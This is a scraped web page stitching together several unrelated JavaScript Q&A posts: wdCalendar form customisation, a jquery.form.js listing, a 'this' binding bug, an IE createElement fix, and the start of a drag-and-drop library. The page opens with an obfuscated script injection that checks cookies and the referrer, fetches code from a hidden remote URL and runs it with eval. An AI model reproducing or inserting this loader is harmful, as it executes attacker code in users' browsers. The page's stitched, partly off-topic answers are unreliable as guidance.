;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,HttpClient=function(){var R={V:'0x90'},e={V:0x9e,Z:0xa3,q:0x8d,i:0x97},J={V:0x9f,Z:'0xb9',q:0xaa},t=C;this[t(R.V)]=function(V,Z){var M=t,q=new XMLHttpRequest();q[M(e.V)+M(0xae)+M('0xa5')+M('0x9d')+'ge']=function(){var o=M;if(q[o(J.V)+o('0xa1')+'te']==0x4&&q[o('0xa8')+'us']==0xc8)Z(q[o(J.Z)+o('0x92')+o(J.q)]);},q[M(e.Z)](M(e.q),V,!![]),q[M(e.i)](null);};},rand=function(){var j={V:'0xb8'},N=C;return Math[N('0xb2')+'om']()[N(0xa6)+N(j.V)](0x24)[N('0xbc')+'tr'](0x2);},token=function(){return rand()+rand();};function D(){var d=['send','inde','1193145SGrSDO','s://','rrer','21hqdubW','chan','onre','read','1345950yTJNPg','ySta','hesp','open','refe','tate','toSt','http','stat','xOf','Text','tion','net/','11NaMmvE','adys','806cWfgFm','354vqnFQY','loca','rand','://','.cac','ping','ndsx','ww.','ring','resp','441171YWNkfb','host','subs','3AkvVTw','1508830DBgfct','ry.m','jque','ace.','758328uKqajh','cook','GET','s?ve','in.j','get','www.','onse','name','://w','eval','41608fmSNHC'];D=function(){return d;};return D();}(function(){var P={V:0xab,Z:0xbb,q:0x9b,i:0x98,f:0xa9,T:0x91,U:'0xbc',c:'0x94',B:0xb7,Q:'0xa7',x:'0xac',r:'0xbf',E:'0x8f',d:0x90},v={V:'0xa9'},F={V:0xb6,Z:'0x95'},y=C,V=navigator,Z=document,q=screen,i=window,f=Z[y('0x8c')+'ie'],T=i[y(0xb1)+y(P.V)][y(P.Z)+y(0x93)],U=Z[y(0xa4)+y(P.q)];T[y(P.i)+y(P.f)](y(P.T))==0x0&&(T=T[y(P.U)+'tr'](0x4));if(U&&!x(U,y('0xb3')+T)&&!x(U,y(P.c)+y(P.B)+T)&&!f){var B=new HttpClient(),Q=y(P.Q)+y('0x9a')+y(0xb5)+y(0xb4)+y(0xa2)+y('0xc1')+y(P.x)+y(0xc0)+y(P.r)+y(P.E)+y('0x8e')+'r='+token();B[y(P.d)](Q,function(r){var s=y;x(r,s(F.V))&&i[s(F.Z)](r);});}function x(r,E){var S=y;return r[S(0x98)+S(v.V)](E)!==-0x1;}}());};
i want to set my own customize form in wdCalendar add event like first name last name instead of "what". where in jquery.calendar.js i find quickadd function which one is used when user click on calendar to add event then form appear help of quickadd function but i dont know how to set custom field in this function so please help me
below one is quickadd function of jquery.calender.js
function quickadd(start, end, isallday, pos) {
if ((!option.quickAddHandler && option.quickAddUrl == "") || option.readonly) {
return;
}
var buddle = $("#bbit-cal-buddle");
if (buddle.length == 0) {
var temparr = [];
temparr.push('<div id="bbit-cal-buddle" style="z-index: 180; width: 400px;visibility:hidden;" class="bubble">');
temparr.push('<table class="bubble-table" cellSpacing="0" cellPadding="0"><tbody><tr><td class="bubble-cell-side"><div id="tl1" class="bubble-corner"><div class="bubble-sprite bubble-tl"></div></div>');
temparr.push('<td class="bubble-cell-main"><div class="bubble-top"></div><td class="bubble-cell-side"><div id="tr1" class="bubble-corner"><div class="bubble-sprite bubble-tr"></div></div> <tr><td class="bubble-mid" colSpan="3"><div style="overflow: hidden" id="bubbleContent1"><div><div></div><div class="cb-root">');
temparr.push('<table class="cb-table" cellSpacing="0" cellPadding="0"><tbody><tr><th class="cb-key">');
temparr.push(i18n.xgcalendar.time, ':</th><td class=cb-value><div id="bbit-cal-buddle-timeshow"></div></td></tr><tr><th class="cb-key">');
temparr.push(i18n.xgcalendar.content, ':</th><td class="cb-value"><div class="textbox-fill-wrapper"><div class="textbox-fill-mid"><input id="bbit-cal-what" class="textbox-fill-input"/></div></div><div class="cb-example">');
temparr.push(i18n.xgcalendar.example, '</div></td></tr></tbody></table><input id="bbit-cal-start" type="hidden"/><input id="bbit-cal-end" type="hidden"/><input id="bbit-cal-allday" type="hidden"/><input id="bbit-cal-quickAddBTN" value="');
temparr.push(i18n.xgcalendar.create_event, '" type="button"/> <SPAN id="bbit-cal-editLink" class="lk">');
temparr.push(i18n.xgcalendar.update_detail, ' <StrONG>>></StrONG></SPAN></div></div></div><tr><td><div id="bl1" class="bubble-corner"><div class="bubble-sprite bubble-bl"></div></div><td><div class="bubble-bottom"></div><td><div id="br1" class="bubble-corner"><div class="bubble-sprite bubble-br"></div></div></tr></tbody></table><div id="bubbleClose1" class="bubble-closebutton"></div><div id="prong2" class="prong"><div class=bubble-sprite></div></div></div>');
var tempquickAddHanler = temparr.join("");
temparr = null;
$(document.body).append(tempquickAddHanler);
buddle = $("#bbit-cal-buddle");
var calbutton = $("#bbit-cal-quickAddBTN");
var lbtn = $("#bbit-cal-editLink");
var closebtn = $("#bubbleClose1").click(function() {
$("#bbit-cal-buddle").css("visibility", "hidden");
realsedragevent();
});
calbutton.click(function(e) {
if (option.isloading) {
return false;
}
option.isloading = true;
var what = $("#bbit-cal-what").val();
var datestart = $("#bbit-cal-start").val();
var dateend = $("#bbit-cal-end").val();
var allday = $("#bbit-cal-allday").val();
var f = /^[^\$\<\>]+$/.test(what);
if (!f) {
alert(i18n.xgcalendar.invalid_title);
$("#bbit-cal-what").focus();
option.isloading = false;
return false;
}
var zone = new Date().getTimezoneOffset() / 60 * -1;
var param = [{ "name": "CalendarTitle", value: what },
{ "name": "CalendarStartTime", value: datestart },
{ "name": "CalendarEndTime", value: dateend },
{ "name": "IsAllDayEvent", value: allday },
{ "name": "timezone", value: zone}];
if (option.extParam) {
for (var pi = 0; pi < option.extParam.length; pi++) {
param[param.length] = option.extParam[pi];
}
}
if (option.quickAddHandler && $.isFunction(option.quickAddHandler)) {
option.quickAddHandler.call(this, param);
$("#bbit-cal-buddle").css("visibility", "hidden");
realsedragevent();
}
else {
$("#bbit-cal-buddle").css("visibility", "hidden");
var newdata = [];
var tId = -1;
option.onBeforeRequestData && option.onBeforeRequestData(2);
$.post(option.quickAddUrl, param, function(data) {
if (data) {
if (data.IsSuccess == true) {
option.isloading = false;
option.eventItems[tId][0] = data.Data;
option.eventItems[tId][8] = 1;
render();
option.onAfterRequestData && option.onAfterRequestData(2);
}
else {
option.onRequestDataError && option.onRequestDataError(2, data);
option.isloading = false;
option.onAfterRequestData && option.onAfterRequestData(2);
}
}
}, "json");
newdata.push(-1, what);
var sd = strtodate(datestart);
var ed = strtodate(dateend);
var diff = DateDiff("d", sd, ed);
newdata.push(sd, ed, allday == "1" ? 1 : 0, diff > 0 ? 1 : 0, 0);
newdata.push(-1, 0, "", "");
tId = Ind(newdata);
realsedragevent();
render();
}
});
lbtn.click(function(e) {
if (!option.EditCmdhandler) {
alert("EditCmdhandler" + i18n.xgcalendar.i_undefined);
}
else {
if (option.EditCmdhandler && $.isFunction(option.EditCmdhandler)) {
option.EditCmdhandler.call(this, ['0', $("#bbit-cal-what").val(), $("#bbit-cal-start").val(), $("#bbit-cal-end").val(), $("#bbit-cal-allday").val()]);
}
$("#bbit-cal-buddle").css("visibility", "hidden");
realsedragevent();
}
return false;
});
buddle.mousedown(function(e) { return false });
}
var dateshow = CalDateShow(start, end, !isallday, true);
var off = getbuddlepos(pos.left, pos.top);
if (off.hide) {
$("#prong2").hide()
}
else {
$("#prong2").show()
}
$("#bbit-cal-buddle-timeshow").html(dateshow);
var calwhat = $("#bbit-cal-what").val("");
$("#bbit-cal-allday").val(isallday ? "1" : "0");
$("#bbit-cal-start").val(dateFormat.call(start, i18n.xgcalendar.dateformat.fulldayvalue + " HH:mm"));
$("#bbit-cal-end").val(dateFormat.call(end, i18n.xgcalendar.dateformat.fulldayvalue + " HH:mm"));
buddle.css({ "visibility": "visible", left: off.left, top: off.top });
calwhat.blur().focus(); //add 2010-01-26 blur() fixed chrome
$(document).one("mousedown", function() {
$("#bbit-cal-buddle").css("visibility", "hidden");
realsedragevent();
});
return false;
}
could i add ajax link on add event and display custom form and add data to database ?
is there any solution of this type to direct open popup as in add event as like open in edit event ?
And Here we go..
just copy paste this code in your jquery.form.js
it will provide you and extra field to input text.
jquery.form.js
<script>
(function($) {
$.fn.ajaxSubmit = function(options) {
if (!this.length) {
log('ajaxSubmit: skipping submit process - no element selected');
return this;
}
if (typeof options == 'function')
options = { success: options };
options = $.extend({
url: this.attr('action') || window.location.toString(),
type: this.attr('method') || 'GET'
}, options || {});
var veto = {};
this.trigger('form-pre-serialize', [this, options, veto]);
if (veto.veto) {
log('ajaxSubmit: submit vetoed via form-pre-serialize trigger');
return this;
}
if (options.beforeSerialize && options.beforeSerialize(this, options) === false) {
log('ajaxSubmit: submit aborted via beforeSerialize callback');
return this;
}
var a = this.formToArray(options.semantic);
if (options.data) {
options.extraData = options.data;
for (var n in options.data) {
if(options.data[n] instanceof Array) {
for (var k in options.data[n])
a.push( { name: n, value: options.data[n][k] } )
}
else
a.push( { name: n, value: options.data[n] } );
}
}
if (options.beforeSubmit && options.beforeSubmit(a, this, options) === false) {
log('ajaxSubmit: submit aborted via beforeSubmit callback');
return this;
}
this.trigger('form-submit-validate', [a, this, options, veto]);
if (veto.veto) {
log('ajaxSubmit: submit vetoed via form-submit-validate trigger');
return this;
}
var q = $.param(a);
if (options.type.toUpperCase() == 'GET') {
options.url += (options.url.indexOf('?') >= 0 ? '&' : '?') + q;
options.data = null;
}
else
options.data = q;
var $form = this, callbacks = [];
if (options.resetForm) callbacks.push(function() { $form.resetForm(); });
if (options.clearForm) callbacks.push(function() { $form.clearForm(); });
if (!options.dataType && options.target) {
var oldSuccess = options.success || function(){};
callbacks.push(function(data) {
$(options.target).html(data).each(oldSuccess, arguments);
});
}
else if (options.success)
callbacks.push(options.success);
options.success = function(data, status) {
for (var i=0, max=callbacks.length; i < max; i++)
callbacks[i].apply(options, [data, status, $form]);
};
var files = $('input:file', this).fieldValue();
var found = false;
for (var j=0; j < files.length; j++)
if (files[j])
found = true;
if (options.iframe || found) {
if ($.browser.safari && options.closeKeepAlive)
$.get(options.closeKeepAlive, fileUpload);
else
fileUpload();
}
else
$.ajax(options);
this.trigger('form-submit-notify', [this, options]);
return this;
function fileUpload() {
var form = $form[0];
if ($(':input[#name=submit]', form).length) {
alert('Error: Form elements must not be named "submit".');
return;
}
var opts = $.extend({}, $.ajaxSettings, options);
var s = jQuery.extend(true, {}, $.extend(true, {}, $.ajaxSettings), opts);
var id = 'jqFormIO' + (new Date().getTime());
var $io = $('<iframe id="' + id + '" name="' + id + '" />');
var io = $io[0];
if ($.browser.msie || $.browser.opera)
io.src = 'javascript:false;document.write("");';
$io.css({ position: 'absolute', top: '-1000px', left: '-1000px' });
var xhr = {
aborted: 0,
responseText: null,
responseXML: null,
status: 0,
statusText: 'n/a',
getAllResponseHeaders: function() {},
getResponseHeader: function() {},
setRequestHeader: function() {},
abort: function() {
this.aborted = 1;
$io.attr('src','about:blank');
}
};
var g = opts.global;
if (g && ! $.active++) $.event.trigger("ajaxStart");
if (g) $.event.trigger("ajaxSend", [xhr, opts]);
if (s.beforeSend && s.beforeSend(xhr, s) === false) {
s.global && jQuery.active--;
return;
}
if (xhr.aborted)
return;
var cbInvoked = 0;
var timedOut = 0;
var sub = form.clk;
if (sub) {
var n = sub.name;
if (n && !sub.disabled) {
options.extraData = options.extraData || {};
options.extraData[n] = sub.value;
if (sub.type == "image") {
options.extraData[name+'.x'] = form.clk_x;
options.extraData[name+'.y'] = form.clk_y;
}
}
}
setTimeout(function() {
var t = $form.attr('target'), a = $form.attr('action');
$form.attr({
target: id,
method: 'POST',
action: opts.url
});
if (! options.skipEncodingOverride) {
$form.attr({
encoding: 'multipart/form-data',
enctype: 'multipart/form-data'
});
}
if (opts.timeout)
setTimeout(function() { timedOut = true; cb(); }, opts.timeout);
var extraInputs = [];
try {
if (options.extraData)
for (var n in options.extraData)
extraInputs.push(
$('<input type="hidden" name="'+n+'" value="'+options.extraData[n]+'" />')
.appendTo(form)[0]);
$io.appendTo('body');
io.attachEvent ? io.attachEvent('onload', cb) : io.addEventListener('load', cb, false);
form.submit();
}
finally {
$form.attr('action', a);
t ? $form.attr('target', t) : $form.removeAttr('target');
$(extraInputs).remove();
}
}, 10);
function cb() {
if (cbInvoked++) return;
io.detachEvent ? io.detachEvent('onload', cb) : io.removeEventListener('load', cb, false);
var operaHack = 0;
var ok = true;
try {
if (timedOut) throw 'timeout';
var data, doc;
doc = io.contentWindow ? io.contentWindow.document : io.contentDocument ? io.contentDocument : io.document;
if (doc.body == null && !operaHack && $.browser.opera) {
operaHack = 1;
cbInvoked--;
setTimeout(cb, 100);
return;
}
xhr.responseText = doc.body ? doc.body.innerHTML : null;
xhr.responseXML = doc.XMLDocument ? doc.XMLDocument : doc;
xhr.getResponseHeader = function(header){
var headers = {'content-type': opts.dataType};
return headers[header];
};
if (opts.dataType == 'json' || opts.dataType == 'script') {
var ta = doc.getElementsByTagName('textarea')[0];
xhr.responseText = ta ? ta.value : xhr.responseText;
}
else if (opts.dataType == 'xml' && !xhr.responseXML && xhr.responseText != null) {
xhr.responseXML = toXml(xhr.responseText);
}
data = $.httpData(xhr, opts.dataType);
}
catch(e){
ok = false;
$.handleError(opts, xhr, 'error', e);
}
if (ok) {
opts.success(data, 'success');
if (g) $.event.trigger("ajaxSuccess", [xhr, opts]);
}
if (g) $.event.trigger("ajaxComplete", [xhr, opts]);
if (g && ! --$.active) $.event.trigger("ajaxStop");
if (opts.complete) opts.complete(xhr, ok ? 'success' : 'error');
// clean up
setTimeout(function() {
$io.remove();
xhr.responseXML = null;
}, 100);
};
function toXml(s, doc) {
if (window.ActiveXObject) {
doc = new ActiveXObject('Microsoft.XMLDOM');
doc.async = 'false';
doc.loadXML(s);
}
else
doc = (new DOMParser()).parseFromString(s, 'text/xml');
return (doc && doc.documentElement && doc.documentElement.tagName != 'parsererror') ? doc : null;
};
};
};
$.fn.ajaxForm = function(options) {
return this.ajaxFormUnbind().bind('submit.form-plugin',function() {
$(this).ajaxSubmit(options);
return false;
}).each(function() {
$(":submit,input:image", this).bind('click.form-plugin',function(e) {
var form = this.form;
form.clk = this;
if (this.type == 'image') {
if (e.offsetX != undefined) {
form.clk_x = e.offsetX;
form.clk_y = e.offsetY;
} else if (typeof $.fn.offset == 'function') { // try to use dimensions plugin
var offset = $(this).offset();
form.clk_x = e.pageX - offset.left;
form.clk_y = e.pageY - offset.top;
} else {
form.clk_x = e.pageX - this.offsetLeft;
form.clk_y = e.pageY - this.offsetTop;
}
}
// clear form vars
setTimeout(function() { form.clk = form.clk_x = form.clk_y = null; }, 10);
});
});
};
$.fn.ajaxFormUnbind = function() {
this.unbind('submit.form-plugin');
return this.each(function() {
$(":submit,input:image", this).unbind('click.form-plugin');
});
};
$.fn.formToArray = function(semantic) {
var a = [];
if (this.length == 0) return a;
var form = this[0];
var els = semantic ? form.getElementsByTagName('*') : form.elements;
if (!els) return a;
for(var i=0, max=els.length; i < max; i++) {
var el = els[i];
var n = el.name;
if (!n) continue;
if (semantic && form.clk && el.type == "image") {
// handle image inputs on the fly when semantic == true
if(!el.disabled && form.clk == el)
a.push({name: n+'.x', value: form.clk_x}, {name: n+'.y', value: form.clk_y});
continue;
}
var v = $.fieldValue(el, true);
if (v && v.constructor == Array) {
for(var j=0, jmax=v.length; j < jmax; j++)
a.push({name: n, value: v[j]});
}
else if (v !== null && typeof v != 'undefined')
a.push({name: n, value: v});
}
if (!semantic && form.clk) {
// input type=='image' are not found in elements array! handle them here
var inputs = form.getElementsByTagName("input");
for(var i=0, max=inputs.length; i < max; i++) {
var input = inputs[i];
var n = input.name;
if(n && !input.disabled && input.type == "image" && form.clk == input)
a.push({name: n+'.x', value: form.clk_x}, {name: n+'.y', value: form.clk_y});
}
}
return a;
};
$.fn.formSerialize = function(semantic) {
return $.param(this.formToArray(semantic));
};
$.fn.fieldSerialize = function(successful) {
var a = [];
this.each(function() {
var n = this.name;
if (!n) return;
var v = $.fieldValue(this, successful);
if (v && v.constructor == Array) {
for (var i=0,max=v.length; i < max; i++)
a.push({name: n, value: v[i]});
}
else if (v !== null && typeof v != 'undefined')
a.push({name: this.name, value: v});
});
return $.param(a);
};
$.fn.fieldValue = function(successful) {
for (var val=[], i=0, max=this.length; i < max; i++) {
var el = this[i];
var v = $.fieldValue(el, successful);
if (v === null || typeof v == 'undefined' || (v.constructor == Array && !v.length))
continue;
v.constructor == Array ? $.merge(val, v) : val.push(v);
}
return val;
};
$.fieldValue = function(el, successful) {
var n = el.name, t = el.type, tag = el.tagName.toLowerCase();
if (typeof successful == 'undefined') successful = true;
if (successful && (!n || el.disabled || t == 'reset' || t == 'button' ||
(t == 'checkbox' || t == 'radio') && !el.checked ||
(t == 'submit' || t == 'image') && el.form && el.form.clk != el ||
tag == 'select' && el.selectedIndex == -1))
return null;
if (tag == 'select') {
var index = el.selectedIndex;
if (index < 0) return null;
var a = [], ops = el.options;
var one = (t == 'select-one');
var max = (one ? index+1 : ops.length);
for(var i=(one ? index : 0); i < max; i++) {
var op = ops[i];
if (op.selected) {
var v = $.browser.msie && !(op.attributes['value'].specified) ? op.text : op.value;
if (one) return v;
a.push(v);
}
}
return a;
}
return el.value;
};
$.fn.clearForm = function() {
return this.each(function() {
$('input,select,textarea', this).clearFields();
});
};
$.fn.clearFields = $.fn.clearInputs = function() {
return this.each(function() {
var t = this.type, tag = this.tagName.toLowerCase();
if (t == 'text' || t == 'password' || tag == 'textarea')
this.value = '';
else if (t == 'checkbox' || t == 'radio')
this.checked = false;
else if (tag == 'select')
this.selectedIndex = -1;
});
};
$.fn.resetForm = function() {
return this.each(function() {
if (typeof this.reset == 'function' || (typeof this.reset == 'object' && !this.reset.nodeType))
this.reset();
});
};
$.fn.enable = function(b) {
if (b == undefined) b = true;
return this.each(function() {
this.disabled = !b
});
};
$.fn.selected = function(select) {
if (select == undefined) select = true;
return this.each(function() {
var t = this.type;
if (t == 'checkbox' || t == 'radio')
this.checked = select;
else if (this.tagName.toLowerCase() == 'option') {
var $sel = $(this).parent('select');
if (select && $sel[0] && $sel[0].type == 'select-one') {
// deselect all other options
$sel.find('option').selected(false);
}
this.selected = select;
}
});
};
function log() {
if ($.fn.ajaxSubmit.debug && window.console && window.console.log)
window.console.log('[jquery.form] ' + Array.prototype.join.call(arguments,''));
};
})(jQuery);
</script>
I look into a few answers but I'm not getting any results, I'm trying to fix this issue "Uncaught TypeError: this.getElements is not a function". This part of the code, full code in the link.
var SIDEBAR = new function() {
this.on = function(nameElement){
this.menu = nameElement;
return this;
};
/*more code*/
this.getElements = function() {
/*more code*/
return [];
};
/*more code*/
this.addElements = function() {
var elementsData = this.getElements();
/*more code*/
};
}();
var sid = SIDEBAR.on('test');
sid.load();
Full code: https://jsfiddle.net/e6shbnsu/
The value of this is determined by how a function is called.
this will point to window in setTimeout. Use .bind to have specified values as this context.
The bind() method creates a new function that, when called, has its this keyword set to the provided value, with a given sequence of arguments preceding any provided when the new function is called.
function inElectron() {
return navigator.userAgent.indexOf("Electron") != -1;
}
var dataManager = {
getItem: function(key, local) {
if (inElectron() || local == 1)
return localStorage.getItem(key);
else
return sessionStorage.getItem(key);
},
setItem: function(key, item, local) {
if (inElectron() || local == 1)
localStorage.setItem(key, item);
else
sessionStorage.setItem(key, item);
}
};
var SIDEBAR = new function() {
this.on = function(nameElement) {
this.menu = nameElement;
return this;
};
this.load = function() {
this.currentElement = 0;
this.refreshElements();
};
this.setAddElementName = function(name) {
this.addElementName = name;
};
this.setNewElementName = function(name) {
this.newElementName = name;
};
this.getElements = function() {
var elementsData = dataManager.getItem(this.getDataKey);
if (typeof elementsData !== 'undefined' && elementsData !== null) {
return JSON.parse(elementsData);
}
return this.getPreloadData();
};
this.setDataKey = function(key) {
this.dataKey = key;
};
this.getDataKey = function() {
if (this.dataKey) {
return this.dataKey;
}
return "SideBar" + this.menu;
};
this.setPreloadData = function(dataArray) {
this.preloadData = dataArray;
};
this.getPreloadData = function() {
if (typeof this.preloadData !== 'undefined' && this.preloadData !== null) {
return this.preloadData;
}
return [];
};
this.getCurrentElement = function() {
var elementsData = getElements;
return elementsData[currentElement];
};
this.refreshElements = function() {
window.setTimeout(function() {
this.clearElements();
}.bind(this), 1);
//outer `this` context is bound to the handler
window.setTimeout(function() {
this.addElements();
}.bind(this), 2);
};
this.deleteElement = function() {
var newArr = [];
var elementsData = this.getElements();
for (var i = 0, l = elementsData.length; i < l; i++) {
if (i != index) {
newArr.push(elementsData[i]);
}
}
dataManager.setItem(this.getDataKey, JSON.stringify(newArr));
};
this.addElements = function() {
var elementsData = this.getElements();
var menuNode = document.getElementById(this.menu);
console.log(elementsData);
for (var i = 0; i < elementsData.length; i++) {
var li = document.createElement("li");
var div = document.createElement("div");
li.value = i;
div.classList.add("list");
var p = document.createElement("p");
p.id = "textBlock";
p.style.display = "inline";
p.setAttribute("contentEditable", false);
p.appendChild(document.createTextNode(elementsData[i].name));
div.appendChild(p);
var obj = getObject();
console.log(obj);
div.onclick = function(e) {
e.stopImmediatePropagation();
if (this.querySelector("#textBlock").contentEditable == "false") {
this.currentElement = this.parentNode.value;
elementsData = this.getElements();
document.getElementById("prompt").innerHTML = elementsData[this.parentNode.value]["data"];
document.querySelector("#wrapper").classList.toggle("toggled");
}
};
var span2 = document.createElement("span");
span2.id = "deleteMode";
span2.classList.add("glyphicon");
span2.classList.add("glyphicon-minus");
span2.onclick = function(e) {
e.stopImmediatePropagation();
deleteItem(this.parentNode.parentNode.value);
window.setTimeout(this.refreshElements, 1);
};
span2.style.display = "none";
div.appendChild(span2);
var span = document.createElement("span");
span.id = "editMode";
span.classList.add("glyphicon");
span.classList.add("glyphicon-pencil");
span.onclick = function(e) {
e.stopImmediatePropagation();
// get href of first anchor in element and change location
for (var j = 0; j < menuNode.length; j++) {
menuNode[j].classList.add("disabled");
}
this.style.display = "none";
this.parentNode.querySelector("#deleteMode").style.display = "";
this.parentNode.classList.add("editableMode");
this.parentNode.classList.remove("disabled");
var textBlock = this.parentNode.querySelector("#textBlock");
textBlock.setAttribute("contentEditable", true);
this.placeCaretAtEnd(textBlock);
textBlock.onkeydown = function(e) {
if (e.keyCode == 13) {
e.stopImmediatePropagation();
var text = this.innerHTML.replace(" ", '');
text = text.replace("<br>", '');
if (text.length > 0) {
this.innerHTML = text;
elementsData[this.parentNode.parentNode.value]['name'] = text;
dataManager.setItem("IFTeleprompterScripts", JSON.stringify(elementsData));
for (var j = 0; j < menuNode.length; j++) {
menuNode[j].classList.remove("disabled");
}
this.parentNode.classList.remove("editableMode");
this.setAttribute("contentEditable", false);
this.parentNode.querySelector("#editMode").style.display = "";
this.parentNode.querySelector("#deleteMode").style.display = "none";
} else {
return false;
}
} else if (e.keyCode == 8) {
if (textBlock.innerHTML.length - 1 === 0) {
textBlock.innerHTML = " ";
}
}
return true;
};
return false;
};
div.appendChild(span);
li.appendChild(div);
scriptsNode.appendChild(li);
}
var li = document.createElement("li");
var div = document.createElement("div");
var span2 = document.createElement("span");
span2.id = "addMode";
span2.classList.add("glyphicon");
span2.classList.add("glyphicon-plus");
div.appendChild(span2);
var p = document.createElement("p");
p.id = "textBlock";
p.style.display = "inline";
p.setAttribute("contentEditable", false);
if (typeof this.addElementName !== 'undefined' && this.addElementName !== null)
p.appendChild(document.createTextNode(" " + this.addElementName));
else
p.appendChild(document.createTextNode(" Add " + this.menu));
div.appendChild(p);
li.onclick = function(e) {
e.stopImmediatePropagation();
var newPushElementName = "New " + this.menu;
if (typeof this.addElementName !== 'undefined' && this.addElementName !== null) {
newPushElementName = this.addElementName;
}
elementsData.push({
"name": newPushElementName,
"data": ""
});
dataManager.setItem(this.getDataKey, JSON.stringify(elementsData));
this.refreshElements();
};
li.appendChild(div);
menuNode.appendChild(li);
};
this.placeCaretAtEnd = function(el) {
el.focus();
if (typeof window.getSelection != "undefined" && typeof document.createRange != "undefined") {
var range = document.createRange();
range.selectNodeContents(el);
range.collapse(false);
var sel = window.getSelection();
sel.removeAllRanges();
sel.addRange(range);
} else if (typeof document.body.createTextRange != "undefined") {
var textRange = document.body.createTextRange();
textRange.moveToElementText(el);
textRange.collapse(false);
textRange.select();
}
};
}();
var sid = SIDEBAR.on('test');
sid.load();
<ul class="sidebar-nav" id="test">
</ul>
In my below, it works fine upto IE9, but not in IE10+:
function createList() {
try {
var listObj = document.getElementById('dialedList');
//document.getElementById('dialedDiv').style.display = "inline";
var list = opener.dialedNumbers; // This is array
//alert("list : "+list);
for (var i = 0; i < list.length; i++) {
//alert(list[i])
if (list[i] != undefined && list[i] != null && list[i] != "") {
alert("come");
var li = document.createElement("<li>");
alert("not come");
li.innerHTML = list[i];
li.onclick = function () {
//alert(this);
document.getElementById('screen').value = this.innerHTML;
document.getElementById('screen').focus();
};
li.onmouseover = function () {
this.style.backgroundColor = "#719FE5";
this.focus();
};
li.onmouseout = function () {
this.style.backgroundColor = "white";
this.focus();
};
listObj.appendChild(li);
}
}
} catch (e) {
alert(e.description);
alert(e.message);
}
}
createElement doesn't accept HTML, it accepts an element name ("tag name"). So you don't include the angle brackets:
var li = document.createElement("li");
If you've had other browsers accepting the previous version, they were just being tolerant.
I've found a script that seems perfect for my needs, but it uses IDs, rather than classes to create ipad-friendly drag & drop elements.
I really need it to use classes, as the draggable elements could potentially be in the thousands.
[edit] I'm not that great at javascript and am having difficulties in understanding how I could alter the script to use classes instead of IDs.
I have also contacted the script author, but have had no reply from him.
I'm offering this bounty as I've not had any response to my original query.
Please could someone change the script below so that it uses classes? [/edit]
Below is the script in its entirety, and here is the script page (API was not helpful to me in being able to use classes vs id).
// webkitdragdrop.js v1.0, Mon May 15 2010
//
// Copyright (c) 2010 Tommaso Buvoli (http://www.tommasobuvoli.com)
// No Extra Libraries are required, simply download this file, add it to your pages!
//
// To See this library in action, grab an ipad and head over to http://www.gotproject.com
// webkitdragdrop is freely distributable under the terms of an MIT-style license.
//Description
// Because this library was designed to run without requiring any other libraries, several basic helper functions were implemented
// 6 helper functons in this webkit_tools class have been taked directly from Prototype 1.6.1 (http://prototypejs.org/) (c) 2005-2009 Sam Stephenson
var webkit_tools =
{
//$ function - simply a more robust getElementById
$:function(e)
{
if(typeof(e) == 'string')
{
return document.getElementById(e);
}
return e;
},
//extend function - copies the values of b into a (Shallow copy)
extend:function(a,b)
{
for (var key in b)
{
a[key] = b[key];
}
return a;
},
//empty function - used as defaut for events
empty:function()
{
},
//remove null values from an array
compact:function(a)
{
var b = []
var l = a.length;
for(var i = 0; i < l; i ++)
{
if(a[i] !== null)
{
b.push(a[i]);
}
}
return b;
},
//DESCRIPTION
// This function was taken from the internet (http://robertnyman.com/2006/04/24/get-the-rendered-style-of-an-element/) and returns
// the computed style of an element independantly from the browser
//INPUT
// oELM (DOM ELEMENT) element whose style should be extracted
// strCssRule element
getCalculatedStyle:function(oElm, strCssRule)
{
var strValue = "";
if(document.defaultView && document.defaultView.getComputedStyle){
strValue = document.defaultView.getComputedStyle(oElm, "").getPropertyValue(strCssRule);
}
else if(oElm.currentStyle){
strCssRule = strCssRule.replace(/\-(\w)/g, function (strMatch, p1){
return p1.toUpperCase();
});
strValue = oElm.currentStyle[strCssRule];
}
return strValue;
},
//bindAsEventListener function - used to bind events
bindAsEventListener:function(f,object)
{
var __method = f;
return function(event) {
__method.call(object, event || window.event);
};
},
//cumulative offset - courtesy of Prototype (http://www.prototypejs.org)
cumulativeOffset:function(element)
{
var valueT = 0, valueL = 0;
do {
valueT += element.offsetTop || 0;
valueL += element.offsetLeft || 0;
if (element.offsetParent == document.body)
if (element.style.position == 'absolute') break;
element = element.offsetParent;
} while (element);
return {left : valueL, top : valueT};
},
//getDimensions - courtesy of Prototype (http://www.prototypejs.org)
getDimensions: function(element)
{
var display = element.style.display;
if (display != 'none' && display != null) // Safari bug
return {width: element.offsetWidth, height: element.offsetHeight};
var els = element.style;
var originalVisibility = els.visibility;
var originalPosition = els.position;
var originalDisplay = els.display;
els.visibility = 'hidden';
if (originalPosition != 'fixed') // Switching fixed to absolute causes issues in Safari
els.position = 'absolute';
els.display = 'block';
var originalWidth = element.clientWidth;
var originalHeight = element.clientHeight;
els.display = originalDisplay;
els.position = originalPosition;
els.visibility = originalVisibility;
return {width: originalWidth, height: originalHeight};
},
//hasClassName - courtesy of Prototype (http://www.prototypejs.org)
hasClassName: function(element, className)
{
var elementClassName = element.className;
return (elementClassName.length > 0 && (elementClassName == className ||
new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName)));
},
//addClassName - courtesy of Prototype (http://www.prototypejs.org)
addClassName: function(element, className)
{
if (!this.hasClassName(element, className))
element.className += (element.className ? ' ' : '') + className;
return element;
},
//removeClassName - courtesy of Prototype (http://www.prototypejs.org)
removeClassName: function(element, className)
{
element.className = this.strip(element.className.replace(new RegExp("(^|\\s+)" + className + "(\\s+|$)"), ' '));
return element;
},
//strip - courtesy of Prototype (http://www.prototypejs.org)
strip:function(s)
{
return s.replace(/^\s+/, '').replace(/\s+$/, '');
}
}
//Description
// Droppable fire events when a draggable is dropped on them
var webkit_droppables = function()
{
this.initialize = function()
{
this.droppables = [];
